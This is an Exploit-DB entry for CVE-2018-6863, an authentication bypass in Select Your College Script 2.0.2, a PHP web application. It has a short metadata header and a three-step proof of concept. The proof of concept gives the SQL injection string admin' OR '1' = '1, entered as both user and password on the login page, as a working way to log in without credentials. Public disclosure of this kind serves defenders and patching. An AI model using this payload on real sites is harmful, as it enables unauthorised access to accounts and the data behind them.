Select Your College Script 2.0.2 - Authentication Bypass

EDB-ID: 44014
Author: Prasenjit Kanti Paul
Published: 2018-02-10
CVE: CVE-2018-6863
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Exploit Title: Select Your College Script - 2.0.2 - Authentication Bypass 
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link:https://www.phpscriptsmall.com/product/select-your-college-script/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 2.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6863
#######################################################################################

Proof of Concept

1. Goto login page
2. put [admin' OR '1' = '1] as user and password field
3. You will be logged in as an authenticated user

Related Posts